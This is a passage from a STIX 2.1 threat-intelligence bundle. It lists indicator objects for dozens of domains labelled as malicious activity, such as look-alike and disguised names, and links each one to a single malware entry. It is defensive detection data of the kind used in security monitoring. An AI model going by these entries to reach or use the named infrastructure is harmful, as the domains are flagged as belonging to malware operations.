"indicator--efa44e22-63d9-4704-b75d-8bff6d97d48f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--932801c6-e229-4d34-90f7-ef313148830a", "created": "2024-01-26T21:28:21.682959Z", "modified": "2024-01-26T21:28:21.682959Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newdailycoupons.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.682959Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf61ae6d-5d14-43e8-931a-2744634cc168", "created": "2024-01-26T21:28:21.683344Z", "modified": "2024-01-26T21:28:21.683344Z", "relationship_type": "indicates", "source_ref": "indicator--932801c6-e229-4d34-90f7-ef313148830a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b51c0d81-1da8-4c6c-999d-f2c30dd1bc99", "created": "2024-01-26T21:28:21.683439Z", "modified": "2024-01-26T21:28:21.683439Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='youintelligence.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.683439Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5f22f2ae-4072-4f98-91c8-f1d341b7e4e2", "created": "2024-01-26T21:28:21.684102Z", "modified": "2024-01-26T21:28:21.684102Z", "relationship_type": "indicates", "source_ref": "indicator--b51c0d81-1da8-4c6c-999d-f2c30dd1bc99", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a576a0a5-e114-48e0-b574-9756e732cb0f", "created": "2024-01-26T21:28:21.684201Z", "modified": "2024-01-26T21:28:21.684201Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gulfca.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.684201Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7fbe1389-9257-4384-b489-e4a794ff57be", "created": "2024-01-26T21:28:21.684581Z", "modified": "2024-01-26T21:28:21.684581Z", "relationship_type": "indicates", "source_ref": "indicator--a576a0a5-e114-48e0-b574-9756e732cb0f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c92ce83-ec77-4228-b6aa-0928dd940192", "created": "2024-01-26T21:28:21.684684Z", "modified": "2024-01-26T21:28:21.684684Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='catfoodstorage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.684684Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--33454185-4ac1-4416-ab0b-25796d1d0610", "created": "2024-01-26T21:28:21.685067Z", "modified": "2024-01-26T21:28:21.685067Z", "relationship_type": "indicates", "source_ref": "indicator--3c92ce83-ec77-4228-b6aa-0928dd940192", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5c25c5b3-20dd-4af9-aae0-fb14e7029f3e", "created": "2024-01-26T21:28:21.685164Z", "modified": "2024-01-26T21:28:21.685164Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='storageseminar.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.685164Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e3f92d52-2670-4816-a08b-77cf6b24902c", "created": "2024-01-26T21:28:21.68555Z", "modified": "2024-01-26T21:28:21.68555Z", "relationship_type": "indicates", "source_ref": "indicator--5c25c5b3-20dd-4af9-aae0-fb14e7029f3e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c01f43c-f94e-4bc1-bd30-5454c702c70e", "created": "2024-01-26T21:28:21.685645Z", "modified": "2024-01-26T21:28:21.685645Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tomorrowpastno.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.685645Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8f6bfbb7-4ccd-4dd1-97c3-e5eb30626f26", "created": "2024-01-26T21:28:21.686032Z", "modified": "2024-01-26T21:28:21.686032Z", "relationship_type": "indicates", "source_ref": "indicator--4c01f43c-f94e-4bc1-bd30-5454c702c70e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7c6abc53-34ca-4e22-8ba2-ca0a11c8f619", "created": "2024-01-26T21:28:21.686128Z", "modified": "2024-01-26T21:28:21.686128Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='same-old.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.686128Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--002de6c7-17fc-482a-b410-11a31d038fd5", "created": "2024-01-26T21:28:21.686502Z", "modified": "2024-01-26T21:28:21.686502Z", "relationship_type": "indicates", "source_ref": "indicator--7c6abc53-34ca-4e22-8ba2-ca0a11c8f619", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b62afc2d-ead5-483a-832c-b6e4f23ca7c2", "created": "2024-01-26T21:28:21.686597Z", "modified": "2024-01-26T21:28:21.686597Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mcel-update.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.686597Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--89c32578-5d32-4300-af3e-9a5d1da634de", "created": "2024-01-26T21:28:21.686979Z", "modified": "2024-01-26T21:28:21.686979Z", "relationship_type": "indicates", "source_ref": "indicator--b62afc2d-ead5-483a-832c-b6e4f23ca7c2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--93bd7361-42d2-402a-b180-24ec171e496f", "created": "2024-01-26T21:28:21.687075Z", "modified": "2024-01-26T21:28:21.687075Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='assembled-battery.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.687075Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a28a598f-dca2-410c-905b-7e2925a5c4b5", "created": "2024-01-26T21:28:21.687459Z", "modified": "2024-01-26T21:28:21.687459Z", "relationship_type": "indicates", "source_ref": "indicator--93bd7361-42d2-402a-b180-24ec171e496f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dac522e1-db22-4d2e-ac05-ec9735693162", "created": "2024-01-26T21:28:21.687558Z", "modified": "2024-01-26T21:28:21.687558Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='massagetax.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.687558Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3aef7818-40ae-4e48-bf4d-65ce40c04d19", "created": "2024-01-26T21:28:21.687938Z", "modified": "2024-01-26T21:28:21.687938Z", "relationship_type": "indicates", "source_ref": "indicator--dac522e1-db22-4d2e-ac05-ec9735693162", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26e3b058-2e2b-4461-9ce5-0e51d3ffbb2b", "created": "2024-01-26T21:28:21.688033Z", "modified": "2024-01-26T21:28:21.688033Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='starreturned.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.688033Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82374d1f-c706-4a47-905d-581f3fa531a8", "created": "2024-01-26T21:28:21.688411Z", "modified": "2024-01-26T21:28:21.688411Z", "relationship_type": "indicates", "source_ref": "indicator--26e3b058-2e2b-4461-9ce5-0e51d3ffbb2b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3efd27cc-195b-4a0e-9112-a43d0acff703", "created": "2024-01-26T21:28:21.688507Z", "modified": "2024-01-26T21:28:21.688507Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='preferenceviews.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.688507Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--55b36c25-23ca-475d-a6b4-d62845e840b2", "created": "2024-01-26T21:28:21.688979Z", "modified": "2024-01-26T21:28:21.688979Z", "relationship_type": "indicates", "source_ref": "indicator--3efd27cc-195b-4a0e-9112-a43d0acff703", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--33d12263-2d7b-4523-a6df-362f47405001", "created": "2024-01-26T21:28:21.689076Z", "modified": "2024-01-26T21:28:21.689076Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cryptopcoinz.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.689076Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aa2a0d7b-ffd9-47e7-b899-6f646e8d728a", "created": "2024-01-26T21:28:21.689462Z", "modified": "2024-01-26T21:28:21.689462Z", "relationship_type": "indicates", "source_ref": "indicator--33d12263-2d7b-4523-a6df-362f47405001", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--15c44dc2-7326-4bbc-a023-820f8ed51037", "created": "2024-01-26T21:28:21.689558Z", "modified": "2024-01-26T21:28:21.689558Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='photo-my.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.689558Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--45f87368-ad75-4ac3-a822-0f2e4b227de2", "created": "2024-01-26T21:28:21.689932Z", "modified": "2024-01-26T21:28:21.689932Z", "relationship_type": "indicates", "source_ref": "indicator--15c44dc2-7326-4bbc-a023-820f8ed51037", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--32c88338-3027-4687-9e1a-82be9c010048", "created": "2024-01-26T21:28:21.690028Z", "modified": "2024-01-26T21:28:21.690028Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xn--nissn-3jc.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.690028Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7bc08eb8-fb57-49e0-8000-3b1c264ef303", "created": "2024-01-26T21:28:21.690413Z", "modified": "2024-01-26T21:28:21.690413Z", "relationship_type": "indicates", "source_ref": "indicator--32c88338-3027-4687-9e1a-82be9c010048", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f56bf5ea-9b2f-4eb6-8646-cc4675885977", "created": "2024-01-26T21:28:21.690509Z", "modified": "2024-01-26T21:28:21.690509Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moh-online.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.690509Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aa1c40a0-aadd-44b5-9518-03e619af0257", "created": "2024-01-26T21:28:21.690891Z", "modified": "2024-01-26T21:28:21.690891Z", "relationship_type": "indicates", "source_ref": "indicator--f56bf5ea-9b2f-4eb6-8646-cc4675885977", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2ea7bc3-cebe-4e09-9391-b89ad9494fc8", "created": "2024-01-26T21:28:21.690988Z", "modified": "2024-01-26T21:28:21.690988Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='standstock.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.690988Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--214793ac-7eb1-4140-9ac9-a7e0caf70d3d", "created": "2024-01-26T21:28:21.691366Z", "modified": "2024-01-26T21:28:21.691366Z", "relationship_type": "indicates", "source_ref": "indicator--b2ea7bc3-cebe-4e09-9391-b89ad9494fc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ed372caa-06b8-47d5-bbcb-b61cecce94fc", "created": "2024-01-26T21:28:21.691461Z", "modified": "2024-01-26T21:28:21.691461Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pride-industry.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.691461Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7aae88c9-7987-4af9-acb3-ff961c60d55a", "created": "2024-01-26T21:28:21.691856Z", "modified": "2024-01-26T21:28:21.691856Z", "relationship_type": "indicates", "source_ref": "indicator--ed372caa-06b8-47d5-bbcb-b61cecce94fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f27421a7-4298-4ed5-a54d-b5dabf8bb3dc", "created": "2024-01-26T21:28:21.691949Z", "modified": "2024-01-26T21:28:21.691949Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coffee2go.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.691949Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aedf6500-09b9-4478-9f51-cfa8af8ec512", "created": "2024-01-26T21:28:21.692327Z", "modified": "2024-01-26T21:28:21.692327Z", "relationship_type": "indicates", "source_ref": "indicator--f27421a7-4298-4ed5-a54d-b5dabf8bb3dc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e0ef48c7-4130-4ec3-9b5b-2b2aae1da0d9", "created": "2024-01-26T21:28:21.692423Z", "modified": "2024-01-26T21:28:21.692423Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='billednorth.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.692423Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b4305712-589e-42f4-a5ac-c6ef87ce5d15", "created": "2024-01-26T21:28:21.692807Z", "modified": "2024-01-26T21:28:21.692807Z", "relationship_type": "indicates", "source_ref": "indicator--e0ef48c7-4130-4ec3-9b5b-2b2aae1da0d9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9517fb1f-7aa8-45df-b85b-1454139d3a1e", "created": "2024-01-26T21:28:21.692905Z", "modified": "2024-01-26T21:28:21.692905Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ajelnews.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.692905Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--984bf7af-efe2-4856-a5c3-f6985daa12b1", "created": "2024-01-26T21:28:21.693368Z", "modified": "2024-01-26T21:28:21.693368Z", "relationship_type": "indicates", "source_ref": "indicator--9517fb1f-7aa8-45df-b85b-1454139d3a1e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f6a34af-7c18-4082-a2cc-4bf1c0dcff9e", "created": "2024-01-26T21:28:21.693465Z", "modified": "2024-01-26T21:28:21.693465Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fabric-shops.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.693465Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0e356d1a-ba89-4d41-adf4-3183240e0a0c", "created": "2024-01-26T21:28:21.693848Z", "modified": "2024-01-26T21:28:21.693848Z", "relationship_type": "indicates", "source_ref": "indicator--8f6a34af-7c18-4082-a2cc-4bf1c0dcff9e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dcb56380-0efb-4671-8b9b-fc0749041a94", "created": "2024-01-26T21:28:21.693949Z", "modified": "2024-01-26T21:28:21.693949Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='humblebenefit.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.693949Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--df2bc693-e3c0-4b10-b504-54bdfd8c9418", "created": "2024-01-26T21:28:21.694335Z", "modified": "2024-01-26T21:28:21.694335Z", "relationship_type": "indicates", "source_ref": "indicator--dcb56380-0efb-4671-8b9b-fc0749041a94", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d680ec94-7adb-48d6-b5e8-8413070034ce", "created": "2024-01-26T21:28:21.694431Z", "modified": "2024-01-26T21:28:21.694431Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reloading-page1.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.694431Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4a38144-26f3-4164-8315-13ebbcaf6988", "created": "2024-01-26T21:28:21.694818Z", "modified": "2024-01-26T21:28:21.694818Z", "relationship_type": "indicates", "source_ref": "indicator--d680ec94-7adb-48d6-b5e8-8413070034ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--35954b13-535a-4c91-8d9a-38a6534bef7f", "created": "2024-01-26T21:28:21.694913Z", "modified": "2024-01-26T21:28:21.694913Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-scanner.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.694913Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--addac85e-6576-4639-8d5c-e5a25a15adf6", "created": "2024-01-26T21:28:21.695292Z", "modified": "2024-01-26T21:28:21.695292Z", "relationship_type": "indicates", "source_ref": "indicator--35954b13-535a-4c91-8d9a-38a6534bef7f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--263fb071-6537-4e62-b35c-85db1c562976", "created": "2024-01-26T21:28:21.695388Z", "modified": "2024-01-26T21:28:21.695388Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eardooraround.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.695388Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--802d35d1-bda8-494c-a696-1f047bb19370", "created": "2024-01-26T21:28:21.695773Z", "modified": "2024-01-26T21:28:21.695773Z", "relationship_type": "indicates", "source_ref": "indicator--263fb071-6537-4e62-b35c-85db1c562976", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2efea92b-deca-4c5d-b8a8-4724e38d9690", "created": "2024-01-26T21:28:21.695868Z", "modified": "2024-01-26T21:28:21.695868Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlreload.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.695868Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--867619f5-3f81-49c5-be07-77a349d509fb", "created": "2024-01-26T21:28:21.696251Z", "modified": "2024-01-26T21:28:21.696251Z", "relationship_type": "indicates", "source_ref": "indicator--2efea92b-deca-4c5d-b8a8-4724e38d9690", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8b195d47-7356-4841-85f4-99b79f32f041", "created": "2024-01-26T21:28:21.696348Z", "modified": "2024-01-26T21:28:21.696348Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='travelight.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.696348Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6f6a5bef-9a88-4ab5-8999-f93ab6107d1b", "created": "2024-01-26T21:28:21.696733Z", "modified": "2024-01-26T21:28:21.696733Z", "relationship_type": "indicates", "source_ref": "indicator--8b195d47-7356-4841-85f4-99b79f32f041", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b8afeddf-24ab-471a-9099-1ee8249fe21b", "created": "2024-01-26T21:28:21.696831Z", "modified": "2024-01-26T21:28:21.696831Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tastyteaflavors.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.696831Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dc38aa6e-1eb6-4d62-b560-5b4c66292d7b", "created": "2024-01-26T21:28:21.697214Z", "modified": "2024-01-26T21:28:21.697214Z", "relationship_type": "indicates", "source_ref": "indicator--b8afeddf-24ab-471a-9099-1ee8249fe21b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--34f1c3a7-99af-4847-a8a8-41dd5af36adb", "created": "2024-01-26T21:28:21.697323Z", "modified": "2024-01-26T21:28:21.697323Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pridetomyself.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.697323Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c050f013-33df-486a-9bb6-31b7e7ab881c", "created": "2024-01-26T21:28:21.697792Z", "modified": "2024-01-26T21:28:21.697792Z", "relationship_type": "indicates", "source_ref": "indicator--34f1c3a7-99af-4847-a8a8-41dd5af36adb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5eee9bc5-be6e-477b-8ff3-4ebf6e85cf55", "created": "2024-01-26T21:28:21.69789Z", "modified": "2024-01-26T21:28:21.69789Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mondaymornings.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.69789Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--26fff61a-3f0c-4c10-a8f2-56adde75eda4", "created": "2024-01-26T21:28:21.698278Z", "modified": "2024-01-26T21:28:21.698278Z", "relationship_type": "indicates", "source_ref": "indicator--5eee9bc5-be6e-477b-8ff3-4ebf6e85cf55", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2b3c4b2f-b7fa-4394-a3b2-51d5cd7bd136", "created": "2024-01-26T21:28:21.698374Z", "modified": "2024-01-26T21:28:21.698374Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tricksinswiss.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.698374Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d0dd832-5185-402f-891b-7c139194f1ea", "created": "2024-01-26T21:28:21.698762Z", "modified": "2024-01-26T21:28:21.698762Z", "relationship_type": "indicates", "source_ref": "indicator--2b3c4b2f-b7fa-4394-a3b2-51d5cd7bd136", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b03e9580-083f-4b96-930f-31744caecb0e", "created": "2024-01-26T21:28:21.69886Z", "modified": "2024-01-26T21:28:21.69886Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newscurrent.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.69886Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7fe917a-3a48-457a-ae7e-c574ee53da5f", "created": "2024-01-26T21:28:21.699243Z", "modified": "2024-01-26T21:28:21.699243Z", "relationship_type": "indicates", "source_ref": "indicator--b03e9580-083f-4b96-930f-31744caecb0e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--63c3262f-9070-4e3c-b790-841c3cc3a8ba", "created": "2024-01-26T21:28:21.699338Z", "modified": "2024-01-26T21:28:21.699338Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='apiwacdn.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.699338Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cf0de993-74fe-4883-9905-d45ab15e995d", "created": "2024-01-26T21:28:21.699713Z", "modified": "2024-01-26T21:28:21.699713Z", "relationship_type": "indicates", "source_ref": "indicator--63c3262f-9070-4e3c-b790-841c3cc3a8ba", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--60bd100f-cc51-44b7-b88b-ae2325e87eae", "created": "2024-01-26T21:28:21.699808Z", "modified": "2024-01-26T21:28:21.699808Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='girlimstill.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.699808Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--607cd906-89ad-4724-bb6f-5a05330b95e3", "created": "2024-01-26T21:28:21.700187Z", "modified": "2024-01-26T21:28:21.700187Z", "relationship_type": "indicates", "source_ref": "indicator--60bd100f-cc51-44b7-b88b-ae2325e87eae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ff2a8252-50c3-4380-a86c-3fdf00a0629f", "created": "2024-01-26T21:28:21.700282Z", "modified": "2024-01-26T21:28:21.700282Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bbc-africa.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.700282Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--92540c27-4220-446f-9f7b-8b6ecb1201c0", "created": "2024-01-26T21:28:21.700663Z", "modified": "2024-01-26T21:28:21.700663Z", "relationship_type": "indicates", "source_ref": "indicator--ff2a8252-50c3-4380-a86c-3fdf00a0629f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--84c3cf7b-0333-4870-8845-eeba3eeaf64c", "created": "2024-01-26T21:28:21.700761Z", "modified": "2024-01-26T21:28:21.700761Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coolasiankitchen.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.700761Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86f060ea-9a7f-42d8-9900-ade0e237b4e6", "created": "2024-01-26T21:28:21.701153Z", "modified": "2024-01-26T21:28:21.701153Z", "relationship_type": "indicates", "source_ref": "indicator--84c3cf7b-0333-4870-8845-eeba3eeaf64c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd3517f0-54ac-4988-a463-3f2118717ee6", "created": "2024-01-26T21:28:21.701254Z", "modified": "2024-01-26T21:28:21.701254Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='photo-afisha.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.701254Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79f8d63a-3af2-415d-8132-ad3cbf81113b", "created": "2024-01-26T21:28:21.701642Z", "modified": "2024-01-26T21:28:21.701642Z", "relationship_type": "indicates", "source_ref": "indicator--fd3517f0-54ac-4988-a463-3f2118717ee6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ad869c3-4fac-48eb-aea6-8b21a10a9916", "created": "2024-01-26T21:28:21.701738Z", "modified": "2024-01-26T21:28:21.701738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clubloading.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.701738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cda5c603-fc8d-49a4-8fd6-f4a1f3e6825a", "created": "2024-01-26T21:28:21.702201Z", "modified": "2024-01-26T21:28:21.702201Z", "relationship_type": "indicates", "source_ref": "indicator--1ad869c3-4fac-48eb-aea6-8b21a10a9916", "target_ref": 